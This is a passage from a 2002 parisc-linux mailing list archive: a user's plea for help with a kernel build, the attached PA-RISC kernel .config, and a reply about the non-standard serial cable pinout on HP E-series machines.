X-Trace: ger.gmane.org 1416621575 11821 80.91.229.3 (22 Nov 2014 01:59:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:35 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 29 02:05:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 999A7482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Jul 2002 02:05:26 -0600 (MDT)
Original-Received: (qmail 2676 invoked from network); 29 Jul 2002 08:08:04 -0000
Original-Received: from softdnserror (HELO itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 29 Jul 2002 08:08:03 -0000
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020605
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15674

This is a multi-part message in MIME format.
--------------030208090504060708000406
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello, it is my config from pa54
I tried this on pa59 and again kernel don't want to compile
Please help me


--------------030208090504060708000406
Content-Type: text/plain;
 name=".config"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename=".config"

#
# Automatically generated make config: don't edit
#
CONFIG_PARISC=y
# CONFIG_UID16 is not set
CONFIG_RWSEM_GENERIC_SPINLOCK=y
# CONFIG_RWSEM_XCHGADD_ALGORITHM is not set

#
# Code maturity level options
#
CONFIG_EXPERIMENTAL=y

#
# Loadable module support
#
CONFIG_MODULES=y
CONFIG_MODVERSIONS=y
CONFIG_KMOD=y

#
# Processor type
#
# CONFIG_PA7100 is not set
CONFIG_PA7200=y
# CONFIG_PA7100LC is not set
# CONFIG_PA8X00 is not set
CONFIG_PA11=y

#
# General options
#
CONFIG_SMP=y
CONFIG_CHASSIS_LCD_LED=y
# CONFIG_KWDB is not set
CONFIG_IOMMU_CCIO=y
CONFIG_GSC=y
CONFIG_GSC_LASI=y
CONFIG_GSC_WAX=y
CONFIG_EISA=y
CONFIG_ISA=y
CONFIG_PCI=y
CONFIG_GSC_DINO=y
CONFIG_PCI_LBA=y
CONFIG_IOSAPIC=y
CONFIG_IOMMU_SBA=y
CONFIG_SUPERIO=y
CONFIG_PCI_NAMES=y

#
# General setup
#
# CONFIG_HOTPLUG is not set
CONFIG_NET=y
CONFIG_SYSVIPC=y
CONFIG_BSD_PROCESS_ACCT=y
CONFIG_SYSCTL=y
CONFIG_KCORE_ELF=y
CONFIG_BINFMT_ELF=y
CONFIG_BINFMT_SOM=y
CONFIG_BINFMT_MISC=y
# CONFIG_PM is not set

#
# Parallel port support
#
CONFIG_PARPORT=y
# CONFIG_PARPORT_PC is not set
# CONFIG_PARPORT_AMIGA is not set
# CONFIG_PARPORT_MFC3 is not set
# CONFIG_PARPORT_ATARI is not set
CONFIG_PARPORT_GSC=y
# CONFIG_PARPORT_SUNBPP is not set
# CONFIG_PARPORT_OTHER is not set
# CONFIG_PARPORT_1284 is not set

#
# Block devices
#
# CONFIG_BLK_DEV_FD is not set
# CONFIG_BLK_DEV_XD is not set
# CONFIG_PARIDE is not set
# CONFIG_BLK_CPQ_DA is not set
# CONFIG_BLK_CPQ_CISS_DA is not set
# CONFIG_BLK_DEV_DAC960 is not set
CONFIG_BLK_DEV_LOOP=y
# CONFIG_BLK_DEV_NBD is not set
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_BLK_DEV_INITRD=y

#
# Multi-device support (RAID and LVM)
#
CONFIG_MD=y
CONFIG_BLK_DEV_MD=y
CONFIG_MD_LINEAR=y
CONFIG_MD_RAID0=y
CONFIG_MD_RAID1=y
CONFIG_MD_RAID5=y
# CONFIG_MD_MULTIPATH is not set
CONFIG_BLK_DEV_LVM=y

#
# Networking options
#
CONFIG_PACKET=y
CONFIG_PACKET_MMAP=y
CONFIG_NETLINK_DEV=y
CONFIG_NETFILTER=y
CONFIG_NETFILTER_DEBUG=y
CONFIG_FILTER=y
CONFIG_UNIX=y
CONFIG_INET=y
CONFIG_IP_MULTICAST=y
CONFIG_IP_ADVANCED_ROUTER=y
CONFIG_IP_MULTIPLE_TABLES=y
# CONFIG_IP_ROUTE_FWMARK is not set
CONFIG_IP_ROUTE_NAT=y
CONFIG_IP_ROUTE_MULTIPATH=y
CONFIG_IP_ROUTE_TOS=y
CONFIG_IP_ROUTE_VERBOSE=y
CONFIG_IP_ROUTE_LARGE_TABLES=y
# CONFIG_IP_PNP is not set
CONFIG_NET_IPIP=y
CONFIG_NET_IPGRE=y
CONFIG_NET_IPGRE_BROADCAST=y
CONFIG_IP_MROUTE=y
CONFIG_IP_PIMSM_V1=y
CONFIG_IP_PIMSM_V2=y
CONFIG_ARPD=y
# CONFIG_INET_ECN is not set
# CONFIG_SYN_COOKIES is not set

#
#   IP: Netfilter Configuration
#
# CONFIG_IP_NF_CONNTRACK is not set
# CONFIG_IP_NF_QUEUE is not set
# CONFIG_IP_NF_IPTABLES is not set
# CONFIG_IP_NF_COMPAT_IPCHAINS is not set
# CONFIG_IP_NF_COMPAT_IPFWADM is not set
# CONFIG_IPV6 is not set
# CONFIG_KHTTPD is not set
# CONFIG_ATM is not set
# CONFIG_VLAN_8021Q is not set

#
#  
#
# CONFIG_IPX is not set
# CONFIG_ATALK is not set
# CONFIG_DECNET is not set
# CONFIG_BRIDGE is not set
# CONFIG_X25 is not set
# CONFIG_LAPB is not set
# CONFIG_LLC is not set
# CONFIG_NET_DIVERT is not set
# CONFIG_ECONET is not set
# CONFIG_WAN_ROUTER is not set
# CONFIG_NET_FASTROUTE is not set
# CONFIG_NET_HW_FLOWCONTROL is not set

#
# QoS and/or fair queueing
#
CONFIG_NET_SCHED=y
CONFIG_NET_SCH_CBQ=y
CONFIG_NET_SCH_CSZ=y
CONFIG_NET_SCH_PRIO=y
CONFIG_NET_SCH_RED=y
CONFIG_NET_SCH_SFQ=y
CONFIG_NET_SCH_TEQL=y
CONFIG_NET_SCH_TBF=y
CONFIG_NET_SCH_GRED=y
CONFIG_NET_SCH_DSMARK=y
# CONFIG_NET_SCH_INGRESS is not set
CONFIG_NET_QOS=y
CONFIG_NET_ESTIMATOR=y
CONFIG_NET_CLS=y
CONFIG_NET_CLS_TCINDEX=y
CONFIG_NET_CLS_ROUTE4=y
CONFIG_NET_CLS_ROUTE=y
CONFIG_NET_CLS_FW=y
CONFIG_NET_CLS_U32=y
CONFIG_NET_CLS_RSVP=y
# CONFIG_NET_CLS_RSVP6 is not set
CONFIG_NET_CLS_POLICE=y

#
# ATA/IDE/MFM/RLL support
#
# CONFIG_IDE is not set
# CONFIG_BLK_DEV_IDE_MODES is not set
# CONFIG_BLK_DEV_HD is not set

#
# SCSI support
#
CONFIG_SCSI=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_SD_EXTRA_DEVS=40
CONFIG_CHR_DEV_ST=y
# CONFIG_CHR_DEV_OSST is not set
CONFIG_BLK_DEV_SR=y
# CONFIG_BLK_DEV_SR_VENDOR is not set
CONFIG_SR_EXTRA_DEVS=2
CONFIG_CHR_DEV_SG=y

#
# Some SCSI devices (e.g. CD jukebox) support multiple LUNs
#
# CONFIG_SCSI_DEBUG_QUEUES is not set
# CONFIG_SCSI_MULTI_LUN is not set
# CONFIG_SCSI_CONSTANTS is not set
# CONFIG_SCSI_LOGGING is not set

#
# SCSI low-level drivers
#
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
# CONFIG_SCSI_7000FASST is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AHA152X is not set
# CONFIG_SCSI_AHA1542 is not set
# CONFIG_SCSI_AHA1740 is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC7XXX_OLD is not set
# CONFIG_SCSI_DPT_I2O is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_IN2000 is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_MEGARAID is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_CPQFCTS is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_DTC3280 is not set
# CONFIG_SCSI_EATA is not set
# CONFIG_SCSI_EATA_DMA is not set
# CONFIG_SCSI_EATA_PIO is not set
# CONFIG_SCSI_FUTURE_DOMAIN is not set
# CONFIG_SCSI_GDTH is not set
# CONFIG_SCSI_GENERIC_NCR5380 is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_PPA is not set
# CONFIG_SCSI_IMM is not set
# CONFIG_SCSI_NCR53C406A is not set
CONFIG_SCSI_LASI700=y
CONFIG_53C700_MEM_MAPPED=y
CONFIG_53C700_LE_ON_BE=y
CONFIG_53C700_USE_CONSISTENT=y
# CONFIG_SCSI_NCR53C7xx is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_ASK_ZALON is not set
# CONFIG_ASK_NCR53C8XX is not set
# CONFIG_ASK_SYM53C8XX is not set
CONFIG_SCSI_ZALON=y
CONFIG_ASK_ZALON=y
# CONFIG_SCSI_SYM53C8XX is not set
CONFIG_SCSI_NCR53C8XX_DEFAULT_TAGS=8
CONFIG_SCSI_NCR53C8XX_MAX_TAGS=32
CONFIG_SCSI_NCR53C8XX_SYNC=20
# CONFIG_SCSI_NCR53C8XX_PROFILE is not set
# CONFIG_SCSI_NCR53C8XX_IOMAPPED is not set
# CONFIG_SCSI_NCR53C8XX_SYMBIOS_COMPAT is not set
# CONFIG_SCSI_PAS16 is not set
# CONFIG_SCSI_PCI2000 is not set
# CONFIG_SCSI_PCI2220I is not set
# CONFIG_SCSI_PSI240I is not set
# CONFIG_SCSI_QLOGIC_FAS is not set
# CONFIG_SCSI_QLOGIC_ISP is not set
# CONFIG_SCSI_QLOGIC_FC is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_SIM710 is not set
# CONFIG_SCSI_SYM53C416 is not set
# CONFIG_SCSI_DC390T is not set
# CONFIG_SCSI_T128 is not set
# CONFIG_SCSI_U14_34F is not set
# CONFIG_SCSI_DEBUG is not set

#
# Network device support
#
CONFIG_NETDEVICES=y

#
# ARCnet devices
#
# CONFIG_ARCNET is not set
# CONFIG_DUMMY is not set
# CONFIG_BONDING is not set
# CONFIG_EQUALIZER is not set
# CONFIG_TUN is not set
# CONFIG_ETHERTAP is not set

#
# Ethernet (10 or 100Mbit)
#
CONFIG_NET_ETHERNET=y
CONFIG_LASI_82596=y
# CONFIG_SUNLANCE is not set
# CONFIG_HAPPYMEAL is not set
# CONFIG_SUNBMAC is not set
# CONFIG_SUNQE is not set
# CONFIG_SUNGEM is not set
# CONFIG_NET_VENDOR_3COM is not set
# CONFIG_LANCE is not set
# CONFIG_NET_VENDOR_SMC is not set
# CONFIG_NET_VENDOR_RACAL is not set
# CONFIG_AT1700 is not set
# CONFIG_DEPCA is not set
# CONFIG_HP100 is not set
# CONFIG_NET_ISA is not set
# CONFIG_NET_PCI is not set
# CONFIG_NET_POCKET is not set

#
# Ethernet (1000 Mbit)
#
# CONFIG_ACENIC is not set
# CONFIG_DL2K is not set
# CONFIG_MYRI_SBUS is not set
# CONFIG_NS83820 is not set
# CONFIG_HAMACHI is not set
# CONFIG_YELLOWFIN is not set
# CONFIG_SK98LIN is not set
# CONFIG_FDDI is not set
# CONFIG_HIPPI is not set
# CONFIG_PLIP is not set
CONFIG_PPP=y
CONFIG_PPP_MULTILINK=y
CONFIG_PPP_FILTER=y
CONFIG_PPP_ASYNC=y
CONFIG_PPP_SYNC_TTY=y
CONFIG_PPP_DEFLATE=y
CONFIG_PPP_BSDCOMP=y
CONFIG_PPPOE=y
# CONFIG_SLIP is not set

#
# Wireless LAN (non-hamradio)
#
# CONFIG_NET_RADIO is not set

#
# Token Ring devices
#
# CONFIG_TR is not set
# CONFIG_NET_FC is not set
# CONFIG_RCPCI is not set
# CONFIG_SHAPER is not set

#
# Wan interfaces
#
# CONFIG_WAN is not set

#
# Input core support
#
# CONFIG_INPUT is not set
# CONFIG_INPUT_KEYBDEV is not set
# CONFIG_INPUT_MOUSEDEV is not set
# CONFIG_INPUT_JOYDEV is not set
# CONFIG_INPUT_EVDEV is not set

#
# Character devices
#
CONFIG_VT=y
CONFIG_VT_CONSOLE=y
CONFIG_GSC_PS2=y
CONFIG_SERIAL=y
CONFIG_SERIAL_CONSOLE=y
CONFIG_SERIAL_GSC=y
# CONFIG_SERIAL_EXTENDED is not set
# CONFIG_SERIAL_NONSTANDARD is not set
CONFIG_UNIX98_PTYS=y
CONFIG_UNIX98_PTY_COUNT=256
CONFIG_PRINTER=y
# CONFIG_LP_CONSOLE is not set
# CONFIG_PPDEV is not set

#
# I2C support
#
# CONFIG_I2C is not set

#
# Mice
#
# CONFIG_BUSMOUSE is not set
CONFIG_MOUSE=y
CONFIG_PSMOUSE=y
# CONFIG_82C710_MOUSE is not set
# CONFIG_PC110_PAD is not set

#
# Joysticks
#
# CONFIG_INPUT_GAMEPORT is not set

#
# Input core support is needed for gameports
#

#
# Input core support is needed for joysticks
#
# CONFIG_QIC02_TAPE is not set

#
# Watchdog Cards
#
# CONFIG_WATCHDOG is not set
CONFIG_GENRTC=y
# CONFIG_INTEL_RNG is not set
# CONFIG_NVRAM is not set
# CONFIG_RTC is not set
# CONFIG_DTLK is not set
# CONFIG_R3964 is not set
# CONFIG_APPLICOM is not set

#
# Ftape, the floppy tape device driver
#
# CONFIG_FTAPE is not set
# CONFIG_AGP is not set
# CONFIG_DRM is not set

#
# HIL support
#

#
# Input support needed for HIL support
#

#
# Multimedia devices
#
# CONFIG_VIDEO_DEV is not set

#
# File systems
#
# CONFIG_QUOTA is not set
# CONFIG_AUTOFS_FS is not set
# CONFIG_AUTOFS4_FS is not set
CONFIG_REISERFS_FS=y
CONFIG_REISERFS_CHECK=y
CONFIG_REISERFS_PROC_INFO=y
# CONFIG_ADFS_FS is not set
# CONFIG_ADFS_FS_RW is not set
# CONFIG_AFFS_FS is not set
# CONFIG_HFS_FS is not set
# CONFIG_BFS_FS is not set
CONFIG_EXT3_FS=y
CONFIG_JBD=y
CONFIG_JBD_DEBUG=y
CONFIG_FAT_FS=y
CONFIG_MSDOS_FS=y
CONFIG_UMSDOS_FS=y
CONFIG_VFAT_FS=y
# CONFIG_EFS_FS is not set
# CONFIG_JFFS_FS is not set
# CONFIG_JFFS2_FS is not set
# CONFIG_CRAMFS is not set
# CONFIG_TMPFS is not set
# CONFIG_RAMFS is not set
CONFIG_ISO9660_FS=y
CONFIG_JOLIET=y
CONFIG_ZISOFS=y
CONFIG_MINIX_FS=y
# CONFIG_VXFS_FS is not set
# CONFIG_NTFS_FS is not set
# CONFIG_NTFS_RW is not set
# CONFIG_HPFS_FS is not set
CONFIG_PROC_FS=y
# CONFIG_DEVFS_FS is not set
# CONFIG_DEVFS_MOUNT is not set
# CONFIG_DEVFS_DEBUG is not set
CONFIG_DEVPTS_FS=y
# CONFIG_QNX4FS_FS is not set
# CONFIG_QNX4FS_RW is not set
# CONFIG_ROMFS_FS is not set
CONFIG_EXT2_FS=y
# CONFIG_SYSV_FS is not set
# CONFIG_UDF_FS is not set
# CONFIG_UDF_RW is not set
# CONFIG_UFS_FS is not set
# CONFIG_UFS_FS_WRITE is not set

#
# Network File Systems
#
# CONFIG_CODA_FS is not set
# CONFIG_INTERMEZZO_FS is not set
CONFIG_NFS_FS=y
CONFIG_NFS_V3=y
# CONFIG_ROOT_NFS is not set
CONFIG_NFSD=y
CONFIG_NFSD_V3=y
CONFIG_SUNRPC=y
CONFIG_LOCKD=y
CONFIG_LOCKD_V4=y
CONFIG_SMB_FS=y
# CONFIG_SMB_NLS_DEFAULT is not set
# CONFIG_NCP_FS is not set
# CONFIG_NCPFS_PACKET_SIGNING is not set
# CONFIG_NCPFS_IOCTL_LOCKING is not set
# CONFIG_NCPFS_STRONG is not set
# CONFIG_NCPFS_NFS_NS is not set
# CONFIG_NCPFS_OS2_NS is not set
# CONFIG_NCPFS_SMALLDOS is not set
# CONFIG_NCPFS_NLS is not set
# CONFIG_NCPFS_EXTRAS is not set
CONFIG_ZISOFS_FS=y
CONFIG_ZLIB_FS_INFLATE=y

#
# Partition Types
#
# CONFIG_PARTITION_ADVANCED is not set
CONFIG_MSDOS_PARTITION=y
CONFIG_SMB_NLS=y
CONFIG_NLS=y

#
# Native Language Support
#
CONFIG_NLS_DEFAULT="iso8859-1"
CONFIG_NLS_CODEPAGE_437=y
# CONFIG_NLS_CODEPAGE_737 is not set
# CONFIG_NLS_CODEPAGE_775 is not set
# CONFIG_NLS_CODEPAGE_850 is not set
# CONFIG_NLS_CODEPAGE_852 is not set
CONFIG_NLS_CODEPAGE_855=y
# CONFIG_NLS_CODEPAGE_857 is not set
# CONFIG_NLS_CODEPAGE_860 is not set
# CONFIG_NLS_CODEPAGE_861 is not set
# CONFIG_NLS_CODEPAGE_862 is not set
# CONFIG_NLS_CODEPAGE_863 is not set
# CONFIG_NLS_CODEPAGE_864 is not set
# CONFIG_NLS_CODEPAGE_865 is not set
CONFIG_NLS_CODEPAGE_866=y
# CONFIG_NLS_CODEPAGE_869 is not set
# CONFIG_NLS_CODEPAGE_936 is not set
# CONFIG_NLS_CODEPAGE_950 is not set
# CONFIG_NLS_CODEPAGE_932 is not set
# CONFIG_NLS_CODEPAGE_949 is not set
# CONFIG_NLS_CODEPAGE_874 is not set
# CONFIG_NLS_ISO8859_8 is not set
# CONFIG_NLS_CODEPAGE_1250 is not set
CONFIG_NLS_CODEPAGE_1251=y
CONFIG_NLS_ISO8859_1=y
# CONFIG_NLS_ISO8859_2 is not set
# CONFIG_NLS_ISO8859_3 is not set
# CONFIG_NLS_ISO8859_4 is not set
CONFIG_NLS_ISO8859_5=y
# CONFIG_NLS_ISO8859_6 is not set
# CONFIG_NLS_ISO8859_7 is not set
# CONFIG_NLS_ISO8859_9 is not set
# CONFIG_NLS_ISO8859_13 is not set
# CONFIG_NLS_ISO8859_14 is not set
# CONFIG_NLS_ISO8859_15 is not set
CONFIG_NLS_KOI8_R=y
# CONFIG_NLS_KOI8_U is not set
# CONFIG_NLS_UTF8 is not set

#
# Console drivers
#

#
# Frame-buffer support
#
CONFIG_FB=y
CONFIG_DUMMY_CONSOLE=y
# CONFIG_FB_RIVA is not set
# CONFIG_FB_CLGEN is not set
# CONFIG_FB_PM2 is not set
# CONFIG_FB_CYBER2000 is not set
CONFIG_FB_STI=y
# CONFIG_FB_MATROX is not set
# CONFIG_FB_ATY is not set
# CONFIG_FB_RADEON is not set
# CONFIG_FB_ATY128 is not set
# CONFIG_FB_SIS is not set
# CONFIG_FB_3DFX is not set
# CONFIG_FB_VOODOO1 is not set
# CONFIG_FB_TRIDENT is not set
# CONFIG_FB_VIRTUAL is not set
CONFIG_FBCON_ADVANCED=y
# CONFIG_FBCON_MFB is not set
# CONFIG_FBCON_CFB2 is not set
# CONFIG_FBCON_CFB4 is not set
CONFIG_FBCON_CFB8=y
CONFIG_FBCON_CFB16=y
CONFIG_FBCON_CFB24=y
CONFIG_FBCON_CFB32=y
# CONFIG_FBCON_AFB is not set
# CONFIG_FBCON_ILBM is not set
# CONFIG_FBCON_IPLAN2P2 is not set
# CONFIG_FBCON_IPLAN2P4 is not set
# CONFIG_FBCON_IPLAN2P8 is not set
# CONFIG_FBCON_MAC is not set
# CONFIG_FBCON_VGA_PLANES is not set
# CONFIG_FBCON_VGA is not set
# CONFIG_FBCON_HGA is not set
# CONFIG_FBCON_FONTWIDTH8_ONLY is not set
# CONFIG_FBCON_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_STI_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_DUMMY_CONSOLE=y
CONFIG_FBCON=y
CONFIG_FBCON_FONT=y
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_FONT_6x11=y
CONFIG_FONT_SUN12x22=y

#
# Sound
#
CONFIG_SOUND=y
# CONFIG_SOUND_BT878 is not set
# CONFIG_SOUND_CMPCI is not set
# CONFIG_SOUND_EMU10K1 is not set
# CONFIG_MIDI_EMU10K1 is not set
# CONFIG_SOUND_FUSION is not set
# CONFIG_SOUND_CS4281 is not set
# CONFIG_SOUND_ES1370 is not set
# CONFIG_SOUND_ES1371 is not set
# CONFIG_SOUND_ESSSOLO1 is not set
# CONFIG_SOUND_MAESTRO is not set
# CONFIG_SOUND_MAESTRO3 is not set
# CONFIG_SOUND_ICH is not set
CONFIG_SOUND_HARMONY=y
# CONFIG_SOUND_RME96XX is not set
# CONFIG_SOUND_SONICVIBES is not set
# CONFIG_SOUND_TRIDENT is not set
# CONFIG_SOUND_MSNDCLAS is not set
# CONFIG_SOUND_MSNDPIN is not set
# CONFIG_SOUND_VIA82CXXX is not set
# CONFIG_MIDI_VIA82CXXX is not set
# CONFIG_SOUND_OSS is not set
# CONFIG_SOUND_TVMIXER is not set

#
# USB support
#
# CONFIG_USB is not set

#
# USB Controllers
#
# CONFIG_USB_UHCI is not set
# CONFIG_USB_UHCI_ALT is not set
# CONFIG_USB_OHCI is not set

#
# USB Device Class drivers
#
# CONFIG_USB_AUDIO is not set
# CONFIG_USB_BLUETOOTH is not set
# CONFIG_USB_STORAGE is not set
# CONFIG_USB_STORAGE_DEBUG is not set
# CONFIG_USB_STORAGE_DATAFAB is not set
# CONFIG_USB_STORAGE_FREECOM is not set
# CONFIG_USB_STORAGE_ISD200 is not set
# CONFIG_USB_STORAGE_DPCM is not set
# CONFIG_USB_STORAGE_HP8200e is not set
# CONFIG_USB_STORAGE_SDDR09 is not set
# CONFIG_USB_STORAGE_JUMPSHOT is not set
# CONFIG_USB_ACM is not set
# CONFIG_USB_PRINTER is not set

#
# USB Human Interface Devices (HID)
#

#
#   Input core support is needed for USB HID
#

#
# USB Imaging devices
#
# CONFIG_USB_DC2XX is not set
# CONFIG_USB_MDC800 is not set
# CONFIG_USB_SCANNER is not set
# CONFIG_USB_MICROTEK is not set
# CONFIG_USB_HPUSBSCSI is not set

#
# USB Multimedia devices
#

#
#   Video4Linux support is needed for USB Multimedia device support
#

#
# USB Network adaptors
#
# CONFIG_USB_PEGASUS is not set
# CONFIG_USB_KAWETH is not set
# CONFIG_USB_CATC is not set
# CONFIG_USB_CDCETHER is not set
# CONFIG_USB_USBNET is not set

#
# USB port drivers
#
# CONFIG_USB_USS720 is not set

#
# USB Serial Converter support
#
# CONFIG_USB_SERIAL is not set
# CONFIG_USB_SERIAL_GENERIC is not set
# CONFIG_USB_SERIAL_BELKIN is not set
# CONFIG_USB_SERIAL_WHITEHEAT is not set
# CONFIG_USB_SERIAL_DIGI_ACCELEPORT is not set
# CONFIG_USB_SERIAL_EMPEG is not set
# CONFIG_USB_SERIAL_FTDI_SIO is not set
# CONFIG_USB_SERIAL_VISOR is not set
# CONFIG_USB_SERIAL_IPAQ is not set
# CONFIG_USB_SERIAL_IR is not set
# CONFIG_USB_SERIAL_EDGEPORT is not set
# CONFIG_USB_SERIAL_KEYSPAN_PDA is not set
# CONFIG_USB_SERIAL_KEYSPAN is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XA is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA28XB is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19 is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA18X is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA19W is not set
# CONFIG_USB_SERIAL_KEYSPAN_USA49W is not set
# CONFIG_USB_SERIAL_MCT_U232 is not set
# CONFIG_USB_SERIAL_KLSI is not set
# CONFIG_USB_SERIAL_PL2303 is not set
# CONFIG_USB_SERIAL_CYBERJACK is not set
# CONFIG_USB_SERIAL_XIRCOM is not set
# CONFIG_USB_SERIAL_OMNINET is not set

#
# USB Miscellaneous drivers
#
# CONFIG_USB_RIO500 is not set

#
# Kernel hacking
#
CONFIG_MAGIC_SYSRQ=y

--------------030208090504060708000406--



From - Thu Nov 08 21:23:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: e45 as a diskless server
Date: Mon, 29 Jul 2002 13:30:13 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <8C7DF758-A2E6-11D6-8FE6-0030656F07A2@esiee.fr>
References: <3D4049F3.A53BC4BA@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v482)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621576 11823 80.91.229.3 (22 Nov 2014 01:59:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:36 +0000 (UTC)
Cc: =?ISO-8859-1?Q?Jussi_M=E4ki?= <valen@ihanaa.org>,
	parisc-linux@lists.parisc-linux.org <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 29 05:30:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35D9C482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 29 Jul 2002 05:30:15 -0600 (MDT)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id CC17849BEE; Mon, 29 Jul 2002 13:30:13 +0200 (CEST)
In-Reply-To: <3D4049F3.A53BC4BA@gmx.at>
X-Mailer: Apple Mail (2.482)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15675

Le jeudi 25 juillet 2002, =E0 08:56 , Christoph Plattner a =E9crit :

> Have you checked, that the E45 may have (my E55 definitively has) a
> "wrong" pin out. It look to be the opposite pin assignment like a
> modem, but further studies have shown, that it is non-standard.
Yes; it is exactly the same on our E35.
We noticed that the cable connecting the MUX to the Console wasn't a
cross (null modem) one, but a 'straight' one instead.
We built a small 'cross-converter', basically a standard 25-25 serial
cable with female plugs and could then connect the MUX to any standard
serial port.


Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:23:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cannot compile kernel
Date: Mon, 29 Jul 2002 11:28:28 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20020729102827.GF29996@sleepie.demon.co.uk>
References: <3D44F776.6090309@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621576 11827 80.91.229.3 (22 Nov 2014 01:59:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Jul 29 05:31:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
